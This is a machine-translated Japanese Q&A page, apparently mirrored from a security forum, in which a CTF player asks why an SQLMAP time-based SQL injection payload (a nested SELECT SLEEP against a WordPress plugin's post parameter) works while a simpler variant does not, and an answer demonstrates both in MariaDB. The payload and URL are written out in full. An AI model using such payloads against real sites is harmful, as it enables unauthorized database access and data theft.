web-dev-qa-db-ja.com

SQLMAPペイロードについて

私はCTFに参加していて、SQLインジェクションの課題がありました。脆弱なプラグインパラメータを含むWordpressページがあります(ウェブサイトを呼び出しましょうhttps://vulnerable.com/)、そしてソリューションはデータベースから値をリークすることから来ています。 SQLMAPを使用して、ペイロードをすばやく見つけました。

ページにアクセスすると、「N」秒の遅延があります。

http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)

SQLMAPは問題を簡単に解決し続けました。ただし、ペイロードを実際に理解していないため、少し罪悪感を感じました。次のように変更してみましたが、遅延は発生しません。

遅延は発生しませんでした。

http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND SELECT(SLEEP(N))

ネストされたSELECTステートメント、数値1749と一見ランダムな文字列nQtm?はランダムですか?ネストされたSELECTステートメントがないとペイロードが失敗するのはなぜですか?

11
Michael Hoefler

一般に、SQLインジェクションは使用するデータベースエンジンに依存します。例では、MariaDB/MySQLデータベースのSQLを提供すると思います。 PostgreSQLの関数sleepはpg_sleepであるため、注入はPostgreSQLでは機能しません。

MariaDB [CODINGGROUND]> (SELECT 1749 FROM (SELECT(SLEEP(1)))nQtm)                                                                                                                
    -> ;                                                                                                                                                                         
+------+                                                                                                                                                                         
| 1749 |                                                                                                                                                                         
+------+                                                                                                                                                                         
| 1749 |                                                                                                                                                                         
+------+ 

そして他のクエリ

MariaDB [CODINGGROUND]> select (sleep(1));                                                                                                                                       
+------------+                                                                                                                                                                   
| (sleep(1)) |                                                                                                                                                                   
+------------+                                                                                                                                                                   
|          0 |                                                                                                                                                                   
+------------+                                                                                                                                                                   
1 row in set (1.00 sec)  

したがって、基本的には、一方が機能し、もう一方が機能しない理由を理解できます。ただし、一般にSQLインジェクションは、使用しているデータベースバックエンドに依存することに注意してください。 SQLは標準言語ですが、すべてのエンジンが同じ方法で実装するわけではなく、それらには違いがあります。

0
camp0